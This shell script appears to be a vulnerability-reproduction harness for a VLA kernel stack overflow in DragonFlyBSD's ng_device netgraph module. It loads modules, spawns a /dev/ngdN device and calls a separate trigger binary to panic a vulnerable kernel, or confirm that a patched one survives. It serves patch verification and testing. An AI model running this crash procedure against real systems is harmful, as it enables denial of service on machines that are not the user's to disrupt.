#!/bin/sh
# DF-0661 run script.
#
# Loads the netgraph framework, ng_echo (for hook peer), and ng_device
# modules, creates a netgraph hook to spawn /dev/ngdN, then triggers the
# VLA stack overflow via write(fd, buf, 1<<20).
#
# On a VULNERABLE kernel: the guest panics with DOUBLE FAULT (kernel
# stack overflow) and ssh dies.  The panic signature is in the serial
# console log (dfbsd-qemu/boot.log on the host).
#
# On a PATCHED kernel (fix.diff applied): write() returns -1/EFBIG and
# the guest stays alive.
#
# Must run as root inside the DragonFlyBSD guest.
set -e

BUILD_DIR="/root/ng_device_build"
COUNT="${1:-1048576}"

# 1. Load framework + peer + device modules
kldload netgraph 2>/dev/null || true
kldload ng_echo 2>/dev/null || true
kldload "$BUILD_DIR/ng_device.ko" 2>/dev/null || true

# 2. Create hook to spawn /dev/ngdN
ngctl mkpeer device: echo lower downstream 2>/dev/null || true

DEV=$(ls -1 /dev/ngd* 2>/dev/null | sort | tail -1)
if [ -z "$DEV" ]; then
    echo "[!] no /dev/ngdN device found"
    exit 1
fi
echo "[+] using device $DEV"

# 3. Trigger
echo "[*] triggering VLA stack overflow with count=$COUNT..."
"$BUILD_DIR/trigger" "$DEV" "$COUNT"
echo "[+] trigger returned $?"
echo "[+] guest still alive:"
uptime
